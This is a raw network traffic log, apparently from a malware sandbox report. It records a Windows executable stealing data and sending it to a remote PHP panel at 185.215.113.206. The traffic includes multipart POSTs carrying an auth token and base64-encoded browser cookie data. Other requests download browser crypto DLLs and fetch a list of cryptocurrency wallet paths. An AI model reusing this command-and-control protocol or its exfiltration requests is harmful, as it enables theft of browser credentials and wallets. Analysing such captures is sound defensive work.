2d [TRUNCATED] Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="file"------BAFIEGIECGCBKFIEBGCA--
Nov 26, 2024 16:31:31.650691032 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49809	185.215.113.206	80	5720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 16:31:37.964140892 CET	633	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKK Host: 185.215.113.206 Content-Length: 431 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 [TRUNCATED] Data Ascii: ------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HCAEHJJKFCAAFHJKFBKK--
Nov 26, 2024 16:31:40.102901936 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 16:31:40.274790049 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCGDBAKKKFBGDHJKFHJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="file"------KFCGDBAKKKFBGDHJKFHJ--
Nov 26, 2024 16:31:41.394607067 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 16:31:41.972220898 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 16:31:42.563183069 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 26, 2024 16:31:42.563198090 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 26, 2024 16:31:42.563209057 CET	248	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 26, 2024 16:31:42.563219070 CET	1236	IN	Data Raw: 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 00 00 89 c3 88 44 24 07 8b 44 24 40 89 cf 89 4c 24 14 0f b6 c9 c1 e1 18 Data Ascii: 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(D$\$(sFD$,D$
Nov 26, 2024 16:31:42.563231945 CET	224	IN	Data Raw: 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 c1 f8 1f f7 d0 8b 5d 1c 80 7c 33 f5 01 19 ff 09 c7 b8 03 00 00 00 29 c8 Data Ascii: EE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"
Nov 26, 2024 16:31:42.563242912 CET	1236	IN	Data Raw: 31 ff 8b 45 0c 39 c6 74 3a 52 56 50 e8 20 01 08 00 eb 2d bf ff ff ff ff eb 3a b9 02 e0 ff ff 8b 5d d4 51 e8 73 00 08 00 83 c4 04 bf ff ff ff ff 8b 45 0c 39 c6 75 0c 53 6a 00 50 e8 af 00 08 00 83 c4 0c 8b 45 d8 85 c0 74 0a 53 50 e8 5c 00 08 00 83 Data Ascii: 1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}tVEGGHtIUuu
Nov 26, 2024 16:31:42.563265085 CET	1236	IN	Data Raw: 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff 75 14 e8 23 fc ff ff 83 c4 08 85 c0 74 1c 8b 3e 85 ff 74 20 8b 46 04 8b Data Ascii: nFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@HWVS^_[]
Nov 26, 2024 16:31:42.563276052 CET	1236	IN	Data Raw: ff ff 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c Data Ascii: T>\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9
Nov 26, 2024 16:31:42.563340902 CET	1236	IN	Data Raw: 0f f4 f7 66 0f 70 ef f5 66 0f f4 ec 66 0f 6f e0 66 0f fe 25 d0 20 08 10 66 0f 70 fe e8 66 0f 70 ed e8 66 0f 62 fd 66 0f 6e 6c 07 04 66 0f ef db 66 0f 60 eb 66 0f 61 eb 66 0f ef db 66 0f eb f9 66 0f 72 f4 17 66 0f fe 25 e0 20 08 10 f3 0f 5b cc 66 Data Ascii: fpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`faffrf[f
Nov 26, 2024 16:31:42.563354015 CET	1236	IN	Data Raw: 00 00 00 00 00 0f 1f 00 89 4d e8 8b 0c 0f 89 4d d4 89 ce 89 c1 d3 e6 09 d6 89 75 e0 8b 45 e8 8b 4d ec 01 c8 83 c0 01 0f b6 c0 8b 4d f0 0f b6 0c 01 00 cb 0f b6 f3 8b 55 f0 0f b6 14 32 8b 7d f0 88 14 07 8b 45 f0 88 0c 30 00 ca 0f b6 c2 8b 4d f0 0f Data Ascii: MMuEMMU2}E0MEEMLEE0}M1MMEUU}47}4E0UMUU}47
Nov 26, 2024 16:31:42.563435078 CET	1236	IN	Data Raw: 31 f1 89 f8 31 d0 89 ca 0f a4 c2 01 89 55 ac 0f a4 c8 01 89 85 48 ff ff ff 8b b5 74 ff ff ff 8b 46 30 89 85 30 ff ff ff 8b 8d dc fe ff ff 8b 51 18 89 95 b8 fe ff ff 01 c2 8b 76 34 89 b5 2c ff ff ff 8b 41 1c 89 85 bc fe ff ff 89 c7 11 f7 8b 41 38 Data Ascii: 11UHtF00Qv4,AA8UA<}5[dy!~6_U:O31\tS8ES<]\E]1d1
Nov 26, 2024 16:31:44.190028906 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 16:31:44.646051884 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 26, 2024 16:31:45.688199997 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 16:31:46.304908037 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 26, 2024 16:31:46.906878948 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 16:31:47.454344034 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 26, 2024 16:31:50.758992910 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 16:31:51.219363928 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 26, 2024 16:31:52.052917004 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 16:31:52.513894081 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 26, 2024 16:31:53.208447933 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHCBAAEHCFIDGDHJEHC Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 16:31:54.336410999 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 16:31:54.443295956 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIDHJDGCGDAAKEBGDBKF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 2d 2d 0d 0a Data Ascii: ------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="message"wallets------IIDHJDGCGDAAKEBGDBKF--
Nov 26, 2024 16:31:54.909593105 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:54 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 